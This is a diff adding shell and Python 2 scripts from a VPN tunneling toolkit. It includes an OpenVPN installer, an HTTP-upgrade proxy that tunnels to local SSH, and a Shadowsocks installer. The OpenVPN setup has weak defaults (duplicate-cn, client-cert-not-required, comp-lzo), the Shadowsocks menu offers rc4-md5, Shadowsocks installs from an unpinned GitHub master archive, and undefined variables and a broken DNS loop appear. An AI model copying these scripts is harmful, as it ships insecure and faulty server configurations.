+echo "   5) CAMELLIA-192-CBC"
+echo "   6) CAMELLIA-256-CBC"
+echo "   7) SEED-CBC"
+msg -bar
+while [[ $CIPHER != @([1-7]) ]]; do
+read -p " Cipher [1-7]: " -e -i 1 CIPHER
+done
+case $CIPHER in
+1) CIPHER="cipher AES-128-CBC";;
+2) CIPHER="cipher AES-192-CBC";;
+3) CIPHER="cipher AES-256-CBC";;
+4) CIPHER="cipher CAMELLIA-128-CBC";;
+5) CIPHER="cipher CAMELLIA-192-CBC";;
+6) CIPHER="cipher CAMELLIA-256-CBC";;
+7) CIPHER="cipher SEED-CBC";;
+esac
+msg -bar
+msg -ama " Estamos listos para configurar su servidor OpenVPN"
+msg -bar
+read -n1 -r -p " Enter para Continuar ..."
+tput cuu1 && tput dl1
+}
+parametros_iniciais # BREVE VERIFICACAO
+coleta_variaveis # COLETA VARIAVEIS PARA INSTALAÇÃO
+add_repo # ATUALIZA REPOSITÓRIO OPENVPN E INSTALA OPENVPN
+# Cria Diretorio
+[[ ! -d /etc/openvpn ]] && mkdir /etc/openvpn
+# Install openvpn
+echo -ne " \033[1;31m[ ! ] apt-get update"
+apt-get update -q > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] apt-get install openvpn curl openssl"
+apt-get install -qy openvpn curl > /dev/null 2>&1 && apt-get install openssl ca-certificates -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+SERVER_IP="$(meu_ip)" # IP Address
+[[ -z "${SERVER_IP}" ]] && SERVER_IP=$(ip a | awk -F"[ /]+" '/global/ && !/127.0/ {print $3; exit}')
+echo -ne " \033[1;31m[ ! ] Generating Server Config" # Gerando server.con
+(
+case $DNS in
+1)
+i=0
+grep -v '#' /etc/resolv.conf | grep 'nameserver' | grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | while read line; do
+dns[$i]="push \"dhcp-option DNS $line\""
+done
+[[ ! "${dns[@]}" ]] && dns[0]='push "dhcp-option DNS 8.8.8.8"' && dns[1]='push "dhcp-option DNS 8.8.4.4"'
+;;
+2)dns_fun 3 && dns_fun 4;;
+3)dns_fun 5 && dns_fun 6;;
+4)dns_fun 7 && dns_fun 8;;
+5)dns_fun 9 && dns_fun 10;;
+6)dns_fun 11 && dns_fun 12;;
+7)dns_fun 13 && dns_fun 14;;
+8)dns_fun 15 && dns_fun 16;;
+9)dns_fun 17 && dns_fun 18;;
+esac
+echo 01 > /etc/openvpn/ca.srl
+while [[ ! -e /etc/openvpn/dh.pem || -z $(cat /etc/openvpn/dh.pem) ]]; do
+openssl dhparam -out /etc/openvpn/dh.pem 2048 &>/dev/null
+done
+while [[ ! -e /etc/openvpn/ca-key.pem || -z $(cat /etc/openvpn/ca-key.pem) ]]; do
+openssl genrsa -out /etc/openvpn/ca-key.pem 2048 &>/dev/null
+done
+chmod 600 /etc/openvpn/ca-key.pem &>/dev/null
+while [[ ! -e /etc/openvpn/ca-csr.pem || -z $(cat /etc/openvpn/ca-csr.pem) ]]; do
+openssl req -new -key /etc/openvpn/ca-key.pem -out /etc/openvpn/ca-csr.pem -subj /CN=OpenVPN-CA/ &>/dev/null
+done
+while [[ ! -e /etc/openvpn/ca.pem || -z $(cat /etc/openvpn/ca.pem) ]]; do
+openssl x509 -req -in /etc/openvpn/ca-csr.pem -out /etc/openvpn/ca.pem -signkey /etc/openvpn/ca-key.pem -days 365 &>/dev/null
+done
+cat > /etc/openvpn/server.conf <<EOF
+server 10.8.0.0 255.255.255.0
+verb 3
+duplicate-cn
+key client-key.pem
+ca ca.pem
+cert client-cert.pem
+dh dh.pem
+keepalive 10 120
+persist-key
+persist-tun
+comp-lzo
+float
+push "redirect-gateway def1 bypass-dhcp"
+${dns[0]}
+${dns[1]}
+
+user nobody
+group nogroup
+
+${CIPHER}
+proto ${PROTOCOL}
+port $PORT
+dev tun
+status openvpn-status.log
+EOF
+updatedb
+PLUGIN=$(locate openvpn-plugin-auth-pam.so | head -1)
+[[ ! -z $(echo ${PLUGIN}) ]] && {
+echo "client-to-client
+client-cert-not-required
+username-as-common-name
+plugin $PLUGIN login" >> /etc/openvpn/server.conf
+}
+) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Generating CA Config" # Generate CA Config
+(
+while [[ ! -e /etc/openvpn/client-key.pem || -z $(cat /etc/openvpn/client-key.pem) ]]; do
+openssl genrsa -out /etc/openvpn/client-key.pem 2048 &>/dev/null
+done
+chmod 600 /etc/openvpn/client-key.pem
+while [[ ! -e /etc/openvpn/client-csr.pem || -z $(cat /etc/openvpn/client-csr.pem) ]]; do
+openssl req -new -key /etc/openvpn/client-key.pem -out /etc/openvpn/client-csr.pem -subj /CN=OpenVPN-Client/ &>/dev/null
+done
+while [[ ! -e /etc/openvpn/client-cert.pem || -z $(cat /etc/openvpn/client-cert.pem) ]]; do
+openssl x509 -req -in /etc/openvpn/client-csr.pem -out /etc/openvpn/client-cert.pem -CA /etc/openvpn/ca.pem -CAkey /etc/openvpn/ca-key.pem -days 365 &>/dev/null
+done
+) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+teste_porta () {
+msg -bar
+  echo -ne " \033[1;31m$(fun_trans ${id} "Verificando"):"
+  sleep 1s
+  [[ ! $(mportas | grep "$1") ]] && {
+    echo -e "\033[1;33m [FAIL]\033[0m"
+    } || {
+    echo -e "\033[1;32m [Pass]\033[0m"
+    return 1
+    }
+   }
+msg -bar
+echo -e "\033[1;33m Ahora Necesitamos un Proxy SQUID o PYTHON-OPENVPN"
+echo -e "\033[1;33m Si no existe un proxy en la puerta, un proxy Python sera abierto!"
+msg -bar
+while [[ $? != "1" ]]; do
+read -p " Confirme el Puerto(Proxy) " -e -i 80 PPROXY
+teste_porta $PPROXY
+done
+cat > /etc/openvpn/client-common.txt <<EOF
+# OVPN_ACCESS_SERVER_PROFILE=VPS-MX
+client
+nobind
+dev tun
+redirect-gateway def1 bypass-dhcp
+remote-random
+remote ${SERVER_IP} ${PORT} ${PROTOCOL}
+http-proxy ${SERVER_IP} ${PPROXY}
+$CIPHER
+comp-lzo yes
+keepalive 10 20
+float
+auth-user-pass
+EOF
+# Iptables
+if [[ ! -f /proc/user_beancounters ]]; then
+    INTIP=$(ip a | awk -F"[ /]+" '/global/ && !/127.0/ {print $3; exit}')
+    N_INT=$(ip a |awk -v sip="$INTIP" '$0 ~ sip { print $7}')
+    iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o $N_INT -j MASQUERADE
+	iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $SERVER_IP
+else
+    iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to-source $SERVER_IP
+	
+fi
+iptables-save > /etc/iptables.conf
+cat > /etc/network/if-up.d/iptables <<EOF
+#!/bin/sh
+iptables-restore < /etc/iptables.conf
+EOF
+chmod +x /etc/network/if-up.d/iptables
+# Enable net.ipv4.ip_forward
+sed -i 's|#net.ipv4.ip_forward=1|net.ipv4.ip_forward=1|' /etc/sysctl.conf
+echo 1 > /proc/sys/net/ipv4/ip_forward
+# Regras de Firewall 
+if pgrep firewalld; then
+ if [[ "$PROTOCOL" = 'udp' ]]; then
+ firewall-cmd --zone=public --add-port=$PORT/udp
+ firewall-cmd --permanent --zone=public --add-port=$PORT/udp
+ elif [[ "$PROTOCOL" = 'tcp' ]]; then
+ firewall-cmd --zone=public --add-port=$PORT/tcp
+ firewall-cmd --permanent --zone=public --add-port=$PORT/tcp
+ fi
+firewall-cmd --zone=trusted --add-source=10.8.0.0/24
+firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24
+fi
+if iptables -L -n | grep -qE 'REJECT|DROP'; then
+ if [[ "$PROTOCOL" = 'udp' ]]; then
+ iptables -I INPUT -p udp --dport $PORT -j ACCEPT
+ elif [[ "$PROTOCOL" = 'tcp' ]]; then
+ iptables -I INPUT -p tcp --dport $PORT -j ACCEPT
+ fi
+iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT
+iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
+iptables-save > $IPTABLES
+fi
+if hash sestatus 2>/dev/null; then
+ if sestatus | grep "Current mode" | grep -qs "enforcing"; then
+  if [[ "$PORT" != '1194' ]]; then
+   if ! hash semanage 2>/dev/null; then
+   yum install policycoreutils-python -y
+   fi
+   if [[ "$PROTOCOL" = 'udp' ]]; then
+   semanage port -a -t openvpn_port_t -p udp $PORT
+   elif [[ "$PROTOCOL" = 'tcp' ]]; then
+   semanage port -a -t openvpn_port_t -p tcp $PORT
+   fi
+  fi
+ fi
+fi
+#Liberando DNS
+msg -bar
+msg -ama " Ultimo Paso, Configuraciones DNS"
+msg -bar
+while [[ $DDNS != @(n|N) ]]; do
+echo -ne "\033[1;33m"
+read -p " Agergar HOST DNS [S/N]: " -e -i n DDNS
+[[ $DDNS = @(s|S|y|Y) ]] && agrega_dns
+done
+[[ ! -z $NEWDNS ]] && {
+sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts
+for DENESI in $(echo $NEWDNS); do
+sed -i "/remote ${SERVER_IP} ${PORT} ${PROTOCOL}/a remote ${DENESI} ${PORT} ${PROTOCOL}" /etc/openvpn/client-common.txt
+done
+}
+msg -bar
+# REINICIANDO OPENVPN
+if [[ "$OS" = 'debian' ]]; then
+ if pgrep systemd-journal; then
+ sed -i 's|LimitNPROC|#LimitNPROC|' /lib/systemd/system/openvpn\@.service
+ sed -i 's|/etc/openvpn/server|/etc/openvpn|' /lib/systemd/system/openvpn\@.service
+ sed -i 's|%i.conf|server.conf|' /lib/systemd/system/openvpn\@.service
+ #systemctl daemon-reload
+ (
+ systemctl restart openvpn
+ systemctl enable openvpn
+ ) > /dev/null 2>&1
+ else
+ /etc/init.d/openvpn restart > /dev/null 2>&1
+ fi
+else
+ if pgrep systemd-journal; then
+ (
+ systemctl restart openvpn@server.service
+ systemctl enable openvpn@server.service
+ ) > /dev/null 2>&1
+ else
+ (
+ service openvpn restart
+ chkconfig openvpn on
+ ) > /dev/null 2>&1
+ fi
+fi
+service squid restart &>/dev/null
+service squid3 restart &>/dev/null
+apt-get install ufw -y > /dev/null 2>&1
+for ufww in $(mportas|awk '{print $2}'); do
+ufw allow $ufww > /dev/null 2>&1
+done
+#Restart OPENVPN
+(
+killall openvpn 2>/dev/null
+systemctl stop openvpn@server.service > /dev/null 2>&1
+service openvpn stop > /dev/null 2>&1
+sleep 0.1s
+cd /etc/openvpn > /dev/null 2>&1
+screen -dmS ovpnscr openvpn --config "server.conf" > /dev/null 2>&1
+) > /dev/null 2>&1
+echo -e "\033[1;32m Openvpn configurado con EXITO!"
+msg -bar
+msg -ama " Ahora crear una SSH para generar el (.ovpn)!"
+msg -bar
+return 0
+}
+edit_ovpn_host () {
+msg -bar3
+msg -ama " CONFIGURACION HOST DNS OPENVPN"
+msg -bar
+while [[ $DDNS != @(n|N) ]]; do
+echo -ne "\033[1;33m"
+read -p " Agregar host [S/N]: " -e -i n DDNS
+[[ $DDNS = @(s|S|y|Y) ]] && agrega_dns
+done
+[[ ! -z $NEWDNS ]] && sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts
+msg -bar
+msg -ama " Es Necesario el Reboot del Servidor Para"
+msg -ama " Para que las configuraciones sean efectudas"
+msg -bar
+}
+fun_openvpn () {
+[[ -e /etc/openvpn/server.conf ]] && {
+unset OPENBAR
+[[ $(mportas|grep -w "openvpn") ]] && OPENBAR="\033[1;32m ONLINE" || OPENBAR="\033[1;31m OFFLINE"
+msg -ama " OPENVPN YA ESTA INSTALADO"
+msg -bar
+echo -e "\033[1;32m [1] >\033[1;36m DESINSTALAR  OPENVPN"
+echo -e "\033[1;32m [2] >\033[1;36m EDITAR CONFIGURACION CLIENTE \033[1;31m(MEDIANTE NANO)"
+echo -e "\033[1;32m [3] >\033[1;36m EDITAR CONFIGURACION SERVIDOR \033[1;31m(MEDIANTE NANO)"
+echo -e "\033[1;32m [4] >\033[1;36m CAMBIAR HOST DE OPENVPN"
+echo -e "\033[1;32m [5] >\033[1;36m INICIAR O PARAR OPENVPN - $OPENBAR"
+msg -bar
+while [[ $xption != @([0|1|2|3|4|5]) ]]; do
+echo -ne "\033[1;33m $(fun_trans "Opcion"): " && read xption
+tput cuu1 && tput dl1
+done
+case $xption in 
+1)
+clear
+msg -bar
+echo -ne "\033[1;97m"
+			read -p "QUIERES DESINTALAR OPENVPN? [Y/N]: " -e REMOVE
+msg -bar
+			if [[ "$REMOVE" = 'y' || "$REMOVE" = 'Y' ]]; then
+				PORT=$(grep '^port ' /etc/openvpn/server.conf | cut -d " " -f 2)
+				PROTOCOL=$(grep '^proto ' /etc/openvpn/server.conf | cut -d " " -f 2)
+				if pgrep firewalld; then
+					IP=$(firewall-cmd --direct --get-rules ipv4 nat POSTROUTING | grep '\-s 10.8.0.0/24 '"'"'!'"'"' -d 10.8.0.0/24 -j SNAT --to ' | cut -d " " -f 10)
+					# 
+					firewall-cmd --zone=public --remove-port=$PORT/$PROTOCOL
+					firewall-cmd --zone=trusted --remove-source=10.8.0.0/24
+					firewall-cmd --permanent --zone=public --remove-port=$PORT/$PROTOCOL
+					firewall-cmd --permanent --zone=trusted --remove-source=10.8.0.0/24
+					firewall-cmd --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
+					firewall-cmd --permanent --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
+				else
+					IP=$(grep 'iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to ' $RCLOCAL | cut -d " " -f 14)
+					iptables -t nat -D POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
+					sed -i '/iptables -t nat -A POSTROUTING -s 10.8.0.0\/24 ! -d 10.8.0.0\/24 -j SNAT --to /d' $RCLOCAL
+					if iptables -L -n | grep -qE '^ACCEPT'; then
+						iptables -D INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
+						iptables -D FORWARD -s 10.8.0.0/24 -j ACCEPT
+						iptables -D FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
+						sed -i "/iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT/d" $RCLOCAL
+						sed -i "/iptables -I FORWARD -s 10.8.0.0\/24 -j ACCEPT/d" $RCLOCAL
+						sed -i "/iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT/d" $RCLOCAL
+					fi
+				fi
+				if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then
+					semanage port -d -t openvpn_port_t -p $PROTOCOL $PORT
+				fi
+				if [[ "$OS" = 'debian' ]]; then
+					apt-get remove --purge -y openvpn
+				else
+					yum remove openvpn -y
+				fi
+				rm -rf /etc/openvpn
+				rm -f /etc/sysctl.d/30-openvpn-forward.conf
+msg -bar
+				echo "OpenVPN removido!"
+msg -bar
+			else
+msg -bar
+				echo "Desinstalacion abortada!"
+msg -bar
+			fi
+   return 0;;
+ 2)
+   nano /etc/openvpn/client-common.txt
+   return 0;;
+ 3)
+   nano /etc/openvpn/server.conf
+   return 0;;
+ 4)edit_ovpn_host;;
+ 5)
+   [[ $(mportas|grep -w openvpn) ]] && {
+   /etc/init.d/openvpn stop > /dev/null 2>&1
+   killall openvpn &>/dev/null
+   systemctl stop openvpn@server.service &>/dev/null
+   service openvpn stop &>/dev/null
+   #ps x |grep openvpn |grep -v grep|awk '{print $1}' | while read pid; do kill -9 $pid; done
+   } || {
+   cd /etc/openvpn
+   screen -dmS ovpnscr openvpn --config "server.conf" > /dev/null 2>&1
+   cd $HOME
+   }
+   msg -ama " Procedimiento Hecho con Exito"
+   msg -bar
+   return 0;; 
+ 0)
+   return 0;;
+ esac
+ exit
+ }
+[[ -e /etc/squid/squid.conf ]] && instala_ovpn2 && return 0
+[[ -e /etc/squid3/squid.conf ]] && instala_ovpn2 && return 0
+
+instala_ovpn2 || return 1
+}
+
+fun_openvpn

+ 267 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/python.py

@@ -0,0 +1,267 @@
+import socket, threading, thread, select, signal, sys, time, getopt
+
+# Listen
+LISTENING_ADDR = '0.0.0.0'
+if sys.argv[1:]:
+  LISTENING_PORT = sys.argv[1]
+else:
+  LISTENING_PORT = 80  
+#Pass
+PASS = ''
+
+# CONST
+BUFLEN = 4096 * 4
+TIMEOUT = 60
+DEFAULT_HOST = '127.0.0.1:22'
+RESPONSE = 'HTTP/1.1 101 Switching Protocols <strong>By: VPS-MX</strong>\r\n\r\n'
+#RESPONSE = 'HTTP/1.1 200 Hello_World!\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n'  # lint:ok
+
+class Server(threading.Thread):
+    def __init__(self, host, port):
+        threading.Thread.__init__(self)
+        self.running = False
+        self.host = host
+        self.port = port
+        self.threads = []
+        self.threadsLock = threading.Lock()
+        self.logLock = threading.Lock()
+
+    def run(self):
+        self.soc = socket.socket(socket.AF_INET)
+        self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.soc.settimeout(2)
+        intport = int(self.port)
+        self.soc.bind((self.host, intport))
+        self.soc.listen(0)
+        self.running = True
+
+        try:
+            while self.running:
+                try:
+                    c, addr = self.soc.accept()
+                    c.setblocking(1)
+                except socket.timeout:
+                    continue
+
+                conn = ConnectionHandler(c, self, addr)
+                conn.start()
+                self.addConn(conn)
+        finally:
+            self.running = False
+            self.soc.close()
+
+    def printLog(self, log):
+        self.logLock.acquire()
+        print log
+        self.logLock.release()
+
+    def addConn(self, conn):
+        try:
+            self.threadsLock.acquire()
+            if self.running:
+                self.threads.append(conn)
+        finally:
+            self.threadsLock.release()
+
+    def removeConn(self, conn):
+        try:
+            self.threadsLock.acquire()
+            self.threads.remove(conn)
+        finally:
+            self.threadsLock.release()
+
+    def close(self):
+        try:
+            self.running = False
+            self.threadsLock.acquire()
+
+            threads = list(self.threads)
+            for c in threads:
+                c.close()
+        finally:
+            self.threadsLock.release()
+
+
+class ConnectionHandler(threading.Thread):
+    def __init__(self, socClient, server, addr):
+        threading.Thread.__init__(self)
+        self.clientClosed = False
+        self.targetClosed = True
+        self.client = socClient
+        self.client_buffer = ''
+        self.server = server
+        self.log = 'Connection: ' + str(addr)
+
+    def close(self):
+        try:
+            if not self.clientClosed:
+                self.client.shutdown(socket.SHUT_RDWR)
+                self.client.close()
+        except:
+            pass
+        finally:
+            self.clientClosed = True
+
+        try:
+            if not self.targetClosed:
+                self.target.shutdown(socket.SHUT_RDWR)
+                self.target.close()
+        except:
+            pass
+        finally:
+            self.targetClosed = True
+
+    def run(self):
+        try:
+            self.client_buffer = self.client.recv(BUFLEN)
+
+            hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
+
+            if hostPort == '':
+                hostPort = DEFAULT_HOST
+
+            split = self.findHeader(self.client_buffer, 'X-Split')
+
+            if split != '':
+                self.client.recv(BUFLEN)
+
+            if hostPort != '':
+                passwd = self.findHeader(self.client_buffer, 'X-Pass')
+				
+                if len(PASS) != 0 and passwd == PASS:
+                    self.method_CONNECT(hostPort)
+                elif len(PASS) != 0 and passwd != PASS:
+                    self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
+                elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
+                    self.method_CONNECT(hostPort)
+                else:
+                    self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
+            else:
+                print '- No X-Real-Host!'
+                self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
+
+        except Exception as e:
+            self.log += ' - error: ' + e.strerror
+            self.server.printLog(self.log)
+	    pass
+        finally:
+            self.close()
+            self.server.removeConn(self)
+
+    def findHeader(self, head, header):
+        aux = head.find(header + ': ')
+
+        if aux == -1:
+            return ''
+
+        aux = head.find(':', aux)
+        head = head[aux+2:]
+        aux = head.find('\r\n')
+
+        if aux == -1:
+            return ''
+
+        return head[:aux];
+
+    def connect_target(self, host):
+        i = host.find(':')
+        if i != -1:
+            port = int(host[i+1:])
+            host = host[:i]
+        else:
+            if self.method=='CONNECT':
+                port = 22
+            else:
+                port = sys.argv[1]
+
+        (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
+
+        self.target = socket.socket(soc_family, soc_type, proto)
+        self.targetClosed = False
+        self.target.connect(address)
+
+    def method_CONNECT(self, path):
+        self.log += ' - CONNECT ' + path
+
+        self.connect_target(path)
+        self.client.sendall(RESPONSE)
+        self.client_buffer = ''
+
+        self.server.printLog(self.log)
+        self.doCONNECT()
+
+    def doCONNECT(self):
+        socs = [self.client, self.target]
+        count = 0
+        error = False
+        while True:
+            count += 1
+            (recv, _, err) = select.select(socs, [], socs, 3)
+            if err:
+                error = True
+            if recv:
+                for in_ in recv:
+		    try:
+                        data = in_.recv(BUFLEN)
+                        if data:
+			    if in_ is self.target:
+				self.client.send(data)
+                            else:
+                                while data:
+                                    byte = self.target.send(data)
+                                    data = data[byte:]
+
+                            count = 0
+			else:
+			    break
+		    except:
+                        error = True
+                        break
+            if count == TIMEOUT:
+                error = True
+            if error:
+                break
+
+
+def print_usage():
+    print 'Usage: proxy.py -p <port>'
+    print '       proxy.py -b <bindAddr> -p <port>'
+    print '       proxy.py -b 0.0.0.0 -p 80'
+
+def parse_args(argv):
+    global LISTENING_ADDR
+    global LISTENING_PORT
+    
+    try:
+        opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="])
+    except getopt.GetoptError:
+        print_usage()
+        sys.exit(2)
+    for opt, arg in opts:
+        if opt == '-h':
+            print_usage()
+            sys.exit()
+        elif opt in ("-b", "--bind"):
+            LISTENING_ADDR = arg
+        elif opt in ("-p", "--port"):
+            LISTENING_PORT = int(arg)
+
+
+def main(host=LISTENING_ADDR, port=LISTENING_PORT):
+    print "\n:-------PythonProxy-------:\n"
+    print "Listening addr: " + LISTENING_ADDR
+    print "Listening port: " + str(LISTENING_PORT) + "\n"
+    print ":-------------------------:\n"
+    server = Server(LISTENING_ADDR, LISTENING_PORT)
+    server.start()
+    while True:
+        try:
+            time.sleep(2)
+        except KeyboardInterrupt:
+            print 'Stopping...'
+            server.close()
+            break
+
+#######    parse_args(sys.argv[1:])
+if __name__ == '__main__':
+    main()

+ 139 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/shadowsocks.sh

@@ -0,0 +1,139 @@
+#!/bin/bash
+#25/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+fun_ip () {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+}
+fun_eth () {
+eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+    [[ $eth != "" ]] && {
+    msg -bar
+    echo -e "${cor[3]} $(fun_trans ${id} "Aplicar Sistema Para Mejorar Paquetes SSH?")"
+    echo -e "${cor[3]} $(fun_trans ${id} "Opcion Para Usuarios Avanzados")"
+    msg -bar
+    read -p " [S/N]: " -e -i n sshsn
+           [[ "$sshsn" = @(s|S|y|Y) ]] && {
+           echo -e "${cor[1]} $(fun_trans ${id} "Correccion de problemas de paquetes en SSH...")"
+           echo -e " $(fun_trans ${id} "Cual es la Tasa de RX")"
+           echo -ne "[ 1 - 999999999 ]: "; read rx
+           [[ "$rx" = "" ]] && rx="999999999"
+           echo -e " $(fun_trans ${id} "Cual es la Tasa de  TX")"
+           echo -ne "[ 1 - 999999999 ]: "; read tx
+           [[ "$tx" = "" ]] && tx="999999999"
+           apt-get install ethtool -y > /dev/null 2>&1
+           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
+           }
+     msg -bar
+     }
+}
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<10; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.2
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1
+tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
+sleep 1s
+}
+fun_shadowsocks () {
+[[ -e /etc/shadowsocks.json ]] && {
+[[ $(ps x|grep ssserver|grep -v grep|awk '{print $1}') != "" ]] && kill -9 $(ps x|grep ssserver|grep -v grep|awk '{print $1}') > /dev/null 2>&1 && ssserver -c /etc/shadowsocks.json -d stop > /dev/null 2>&1
+echo -e "\033[1;33m $(fun_trans ${id} "SHADOWSOCKS PARADO")"
+msg -bar
+rm /etc/shadowsocks.json
+return 0
+}
+       while true; do
+	   msg -bar
+	   msg -tit
+	   msg -ama "        INSTALADOR SHADOWSOCKS By @Kalix1"
+	   msg -bar
+       echo -e "\033[1;33m $(fun_trans ${id} "Selecione una Criptografia")"
+	   msg -bar
+       encript=(aes-256-gcm aes-192-gcm aes-128-gcm aes-256-ctr aes-192-ctr aes-128-ctr aes-256-cfb aes-192-cfb aes-128-cfb camellia-128-cfb camellia-192-cfb camellia-256-cfb chacha20-ietf-poly1305 chacha20-ietf chacha20 rc4-md5)
+       for((s=0; s<${#encript[@]}; s++)); do
+       echo -e " [${s}] - ${encript[${s}]}"
+       done
+       msg -bar
+       while true; do
+       unset cript
+       read -p "Escoja una Criptografia: " -e -i 0 cript
+       [[ ${encript[$cript]} ]] && break
+       echo -e "$(fun_trans ${id} "Opcion Invalida")"
+       done
+       encriptacao="${encript[$cript]}"
+       [[ ${encriptacao} != "" ]] && break
+       echo -e "$(fun_trans ${id} "Opcion Invalida")"
+      done
+#ESCOLHENDO LISTEN
+msg -bar
+      echo -e "\033[1;33m $(fun_trans ${id} "Seleccione puerto para el Shadowsocks Escuchar")\033[0m"
+	  msg -bar
+      while true; do
+      unset Lport
+      read -p " Puerto: " Lport
+      [[ $(mportas|grep "$Lport") = "" ]] && break
+      echo -e " ${Lport}: $(fun_trans ${id} "Puerto Invalido")"      
+      done
+#INICIANDO
+msg -bar
+echo -e "\033[1;33m $(fun_trans ${id} "Ingrese la contraseña Shadowsocks")\033[0m"
+read -p" Contraseña: " Pass
+msg -bar
+echo -e "\033[1;33m $(fun_trans ${id} "Iniciando Instalacion")"
+msg -bar
+fun_bar 'sudo apt-get install shadowsocks -y'
+fun_bar 'sudo apt-get install libsodium-dev -y'
+fun_bar 'sudo apt-get install python-pip -y'
+fun_bar 'sudo pip install --upgrade setuptools'
+fun_bar 'pip install --upgrade pip -y'
+fun_bar 'pip install https://github.com/shadowsocks/shadowsocks/archive/master.zip -U'
+echo -ne '{\n"server":"' > /etc/shadowsocks.json
+echo -ne "0.0.0.0" >> /etc/shadowsocks.json
+echo -ne '",\n"server_port":' >> /etc/shadowsocks.json
+echo -ne "${Lport},\n" >> /etc/shadowsocks.json
+echo -ne '"local_port":1080,\n"password":"' >> /etc/shadowsocks.json
+echo -ne "${Pass}" >> /etc/shadowsocks.json
+echo -ne '",\n"timeout":600,\n"method":"' >> /etc/shadowsocks.json
+echo -ne "${encriptacao}" >> /etc/shadowsocks.json
+echo -ne '"\n}' >> /etc/shadowsocks.json
+msg -bar
+echo -e "\033[1;31m INICIANDO\033[0m"
+ssserver -c /etc/shadowsocks.json -d start > /dev/null 2>&1
+value=$(ps x |grep ssserver|grep -v grep)
+[[ $value != "" ]] && value="\033[1;32mINICIADO CON EXITO" || value="\033[1;31mERROR"
+msg -bar
+echo -e "${value}"
+msg -bar
+return 0
+}
+fun_shadowsocks

+ 426 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/sockspy.sh

@@ -0,0 +1,426 @@
+#!/bin/bash
+#25/01/2021 by @Kalix1
+clear
+clear
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null
